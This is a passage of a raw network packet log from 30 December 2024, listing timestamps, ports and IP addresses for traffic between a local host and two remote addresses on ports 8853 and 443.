Dec 30, 2024 04:59:02.984714985 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.984735012 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.985109091 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985121012 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985131979 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985142946 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985155106 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985158920 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.985220909 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.985703945 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985713959 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985724926 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985733986 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985744953 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985744953 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.985759020 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985770941 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985779047 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.985780001 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985790968 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.985806942 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.985835075 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.986661911 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.986671925 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.986681938 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.986691952 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.986701965 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.986711979 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.986721039 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.986723900 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.986733913 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.986745119 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.986769915 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.987603903 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.987613916 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.987624884 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.987634897 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.987646103 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.987653971 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:02.987656116 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:02.987695932 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:03.196496964 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:03.196685076 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:03.196865082 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:03.196865082 CET	49731	8853	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:03.201817989 CET	8853	49731	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:03.228179932 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:03.228252888 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:03.229247093 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:03.229295015 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:03.627048016 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:03.627084017 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:03.627383947 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:03.627446890 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:03.633328915 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:03.675355911 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:03.999452114 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:03.999469995 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:03.999483109 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:03.999557018 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:03.999603033 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:03.999650955 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.077918053 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.077934980 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.077984095 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.078005075 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.078025103 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.078046083 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.080889940 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.080904007 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.080949068 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.080959082 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.080988884 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.080998898 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.160907030 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.160924911 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.160976887 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.160991907 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.161031961 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.161045074 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.162204981 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.162219048 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.162281036 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.162281036 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.162290096 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.162333012 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.163887978 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.163914919 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.163955927 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.163964987 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.163979053 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.164004087 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.166318893 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.166337967 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.166379929 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.166388988 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.166407108 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.166798115 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.244359970 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.244376898 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.244442940 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.244453907 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.244503975 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.245069981 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.245086908 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.245126963 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.245135069 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.245183945 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.253777981 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.253796101 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.253865004 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.253874063 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.253914118 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.259928942 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.259944916 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.260014057 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.260024071 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.260699034 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.265136003 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.265151024 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.265223026 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.265233040 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.266215086 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.272480011 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.272495031 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.272557020 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.272566080 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.273228884 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.278551102 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.278573036 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.278626919 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.278640985 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.278671026 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.278681993 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.328049898 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.328066111 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.328134060 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.328149080 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.328474045 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.328634024 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.328649998 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.328681946 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.328690052 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.328705072 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.328723907 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.329277039 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.329292059 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.329320908 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.329328060 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.329355001 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.329374075 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.337239981 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.337255955 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.337305069 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.337315083 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.337327003 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.337349892 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.343550920 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.343574047 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.343636036 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.343648911 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.343663931 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.343687057 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.467174053 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.467196941 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.467232943 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.467248917 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.467273951 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.467294931 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.468398094 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.468415976 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.468451977 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.468458891 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.468487024 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.468497992 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.474843979 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.474858999 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.474895954 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.474904060 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.474941015 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.481786966 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.481801987 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.481848001 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.481857061 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.481877089 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.481893063 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.487792015 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.487807989 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.487857103 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.487864971 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.487905025 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.493706942 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.493722916 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.493762016 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.493776083 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.493803024 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.493815899 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.495861053 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.495877028 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.495933056 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.495942116 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.495970964 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.495985985 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.497704983 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.497720003 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.497756958 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.497764111 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.497792006 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.497807026 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.550678968 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.550695896 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.550750017 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.550760031 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.550789118 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.550808907 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.551856995 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.551873922 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.551917076 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.551925898 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.551948071 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.551969051 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.557621956 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.557640076 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.557679892 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.557687998 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.557718039 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.557734013 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.563637972 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.563653946 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.563704967 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.563713074 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.563747883 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.563764095 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.569245100 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.569261074 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.569307089 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.569314957 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.569339991 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.569360018 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.575908899 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.575931072 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.575973034 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.575980902 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.576016903 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.576026917 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.580298901 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.580321074 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.580387115 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.580394983 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.580440044 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.582182884 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.582201004 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.582235098 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.582243919 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.582276106 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.582288980 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.704730034 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.704746008 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.704819918 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.704835892 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.704860926 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.704871893 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.707222939 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.707241058 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.707298040 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.707308054 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.707366943 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.713910103 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.713928938 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.713965893 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.713979959 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.714005947 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.714030981 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.718977928 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.718993902 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.719053030 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.719060898 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.719099998 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.724575996 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.724591017 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.724666119 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.724674940 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.724711895 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.730377913 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.730396032 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.730453014 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.730462074 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.730501890 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.732794046 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.732812881 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.732856989 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.732863903 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.732901096 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.736174107 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.736188889 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.736238956 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.736247063 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.736270905 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.736289024 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.787295103 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.787311077 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.787367105 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.787378073 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.787393093 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.787416935 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.789774895 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.789789915 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.789828062 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.789835930 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.789866924 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.789895058 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.796329021 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.796345949 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.796418905 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.796427965 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.796480894 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.801795006 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.801809072 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.801847935 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.801855087 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.801887035 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.801904917 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.806602001 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.806627035 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.806665897 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.806680918 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.806706905 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.806735039 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.811996937 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.812016964 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.812057972 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.812068939 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.812088966 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.812108994 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.815967083 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.815984011 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.816021919 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.816030979 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.816060066 CET	49732	443	192.168.2.4	47.79.48.211
